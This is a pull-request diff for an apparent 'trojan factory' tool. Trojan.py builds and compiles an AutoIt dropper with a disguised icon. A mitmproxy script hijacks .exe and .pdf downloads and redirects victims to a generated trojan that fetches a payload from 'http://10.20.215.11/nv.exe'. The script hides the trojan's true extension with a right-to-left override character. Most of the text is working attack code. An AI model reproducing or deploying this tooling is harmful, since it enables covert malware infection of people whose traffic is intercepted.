Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
trojan.txt
13 changes: 5 additions & 8 deletions Trojan.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,11 +4,10 @@
import zipfile



TROJAN_SOURCE_CODE_FILE = "trojan.txt"
AUT2EXE = "/root/.wine/drive_c/Program Files (x86)/AutoIt3/Aut2Exe/Aut2exe.exe"

trojan_code = """
TROJAN_CODE = """
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
Local $urlsArray = StringSplit($urls, ",", 2 )
Expand All @@ -35,28 +34,26 @@ def __init__(self, url1, url2, icon, out_file):
file_type = url1.split(".")[-1].replace("#", "")
self.icon = self.set_icon(icon, file_type)
self.out_file = out_file



def create(self):
urls = 'Local $urls = "' + self.url1 + "," +self.url2 + '"\n'
with open(TROJAN_SOURCE_CODE_FILE, "w") as trojan_file:
trojan_file.write(urls + trojan_code)
trojan_file.write(urls + TROJAN_CODE)

def compile(self):
subprocess.call('wine "' + AUT2EXE + '" /In "' + TROJAN_SOURCE_CODE_FILE + '" /Out "' + self.out_file +'" /Icon "' + self.icon + '"' , shell=True)

def set_icon(self, icon, file_type):
icons_directory = os.path.dirname(os.path.realpath(__file__)) + "/icons"
if icon == None:
icon = icons_directory + "/" + file_type + ".ico"

if not os.path.isfile(icon) :
print("[-] Can't find icon at " + icon)
print("[-] Using generaic icon.")
print("[-] Using generic icon.")
icon = icons_directory + "/generic.ico"
return icon


def zip(self, file_to_zip):
os.chdir(os.path.dirname(file_to_zip))
trojan_name = file_to_zip.split("/")[-1]
Expand Down
Binary file added __pycache__/Trojan.cpython-37.pyc
Binary file not shown.
44 changes: 20 additions & 24 deletions mitmproxy_script.py
Original file line number Diff line number Diff line change
@@ -1,44 +1,40 @@
import mitmproxy
import subprocess
import os
from Trojan import *
from Trojan import Trojan


IP = "10.20.215.11"
TARGET_TEXTENSIONS = [".exe", ".pdf"]
EVIL_FILE = "http://10.20.215.11/nv.exe"
EVIL_FILE_URL = "http://10.20.215.11/nv.exe"
WEB_ROOT = "/var/www/html/"
SPOOF_EXTENSION = True

def request(flow):
#code to handle request flows

if flow.request.host != IP and flow.request.pretty_url.endswith(tuple(TARGET_TEXTENSIONS)):
print("[+] Got interesting flow")

front_file_name = flow.request.pretty_url.split("/")[-1].split(".")[0]
front_file = flow.request.pretty_url + "#"
download_file_name = front_file_name + ".exe"
trojan_file = WEB_ROOT + download_file_name

front_file_extension = flow.request.pretty_url.split("/")[-1].split(".")[-1]

front_file_url = flow.request.pretty_url + "#"
trojan_file_name = front_file_name + ".exe"
download_file_name = trojan_file_name
if SPOOF_EXTENSION and front_file_extension != "exe":
print("[+] Renaming trojan to spoof its extension")
trojan_file_name = front_file_name + "\u202E" + "".join(reversed(front_file_extension)) + ".exe"
trojan_file = WEB_ROOT + trojan_file_name

print("[+] Generating a trojan for " + flow.request.pretty_url)

trojan = Trojan(front_file, EVIL_FILE, None, trojan_file)
trojan = Trojan(front_file_url, EVIL_FILE_URL, None, trojan_file)
trojan.create()
trojan.compile()

if SPOOF_EXTENSION == True:
print("[+] Renaming trojan to spoof its extension")
front_file_extension = flow.request.pretty_url.split("/")[-1].split(".")[-1]
if front_file_extension != "exe":
new_name = front_file_name + "‮" + "".join(reversed(front_file_extension)) + ".exe"
spoofed_file = WEB_ROOT + new_name
os.rename(trojan_file, spoofed_file)

trojan.zip(spoofed_file)
download_file_name = front_file_name + ".zip"


torjan_download_url = "http://" + IP + "/" + download_file_name
flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location": torjan_download_url})
if SPOOF_EXTENSION:
trojan.zip(trojan_file)
download_file_name = front_file_name + ".zip"

trojan_download_url = "http://" + IP + "/" + download_file_name
flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location": trojan_download_url})
4 changes: 2 additions & 2 deletions trojan_factory.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
#!/usr/bin/env python

import optparse
from Trojan import *
from Trojan import Trojan


parser = optparse.OptionParser()
Expand All @@ -24,5 +24,5 @@
trojan.create()
trojan.compile()

if options.zip:
if options.zip:
trojan.zip(options.out_file_path)